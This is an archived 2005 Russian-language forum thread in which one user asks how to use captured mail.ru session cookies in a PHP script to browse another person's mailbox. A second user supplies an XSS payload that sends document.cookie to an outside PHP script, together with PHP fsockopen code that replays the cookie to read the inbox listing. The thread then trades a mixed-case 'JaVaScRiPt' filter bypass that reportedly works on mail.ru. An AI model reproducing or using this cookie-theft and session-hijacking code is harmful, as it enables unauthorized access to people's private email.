PDA

Просмотр полной версии : Передача cookies


Майор
25.03.2005, 00:53
Вот встала у меня такая задача : имея куки допустим c mail.ru мне надо чтоб скрипт(php) передовал куки серверу и дальше лазил по ящику....
Подскажите возможнолт это реализовать ?

Майор
25.03.2005, 11:48
мож хоть кто ссылочку даст на описания таких куков ...

LittleLamer
25.03.2005, 12:53
Да, возможно. Нужно знать либо HTTP протокол, тогда fsockopen() и т.д. Либо юзать setcookie().
Мне более по душе первое :)

Майор
25.03.2005, 17:51
Да, возможно. Нужно знать либо HTTP протокол, тогда fsockopen() и т.д. Либо юзать setcookie().
Мне более по душе первое :)
Это хорошо, что можно :)
Приведи примерчик плиз!!!
ну например для того же майл ру передаём


mrcu=C3DC424333243DD60E4D0100007F
Mpopl=1187863386
MailUser=1

LittleLamer
25.03.2005, 21:22
Например ты почил куки таким (или похожим) способом:

<img src="javascript:img=new Image();img.src='http://mysite.com/xxx.php?cooki='+escape(document.cookie)">

(для маила это конечно не работает, это для примера)

$cooki=$_GET["cooki"];
$req="GET /cgi-bin/msglist?folder=0 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cooki."\r\n\r\n";
$f=fsockopen("win.mail.ru", 80);
fwrite($f, $req);
$dt="";
while (!feof($f))
$dt.=fread($f, 1024);
fclose($f);


Терь в $dt будет содержаться содержимое страницы /cgi-bin/msglist?folder=0 (это список последних писем в папке Входящие)

P.S.: за понятность написанного ответственность нести не хочу :cool:

LittleLamer
25.03.2005, 21:24
И ещё. Ты в майле xss какой нить знаешь?

Майор
25.03.2005, 23:18
Почти всё нонятно, токо есть несколько вопросов
1) Зачем здесь точки и два перевода строки Cookie: ".$cooki."\r\n\r\n";
2) И здесь зачем точка после $dt.=
Вроде по синтаксису можно без них... или я неправ ?

3) маил ру ща JaVaScRiPt пропускает

LittleLamer
26.03.2005, 00:30
1) два перевода строки - это спецификация HTTP протокола и означает конец запроса
2) $dt.=fread($f, 1024)это в php означает увеличения строки $dt на прочитанное из сокета $f. Т.е. если точки не было бы, то в конце цикла в $dt хранилось бы не всё содержимое страницы, а только самая последняя часть
3) <img src=JaVaScRiPt:alert()>
(JaVaScRiPt "дословно")
mail.ru это не пропускает, уточни плиз

Майор
26.03.2005, 01:04
1) а здесть то зачем точки .$cooki. ?

2) тег img на mail.ru всегда фильтровался, а image нет

так вот работает :
<image src=JaVaScRiPt:alert()>
JaVaScRiPt - разными регистрами

LittleLamer
26.03.2005, 02:46
точки - это в php строки складываются :)

Майор
26.03.2005, 21:18
ok, Спасибо!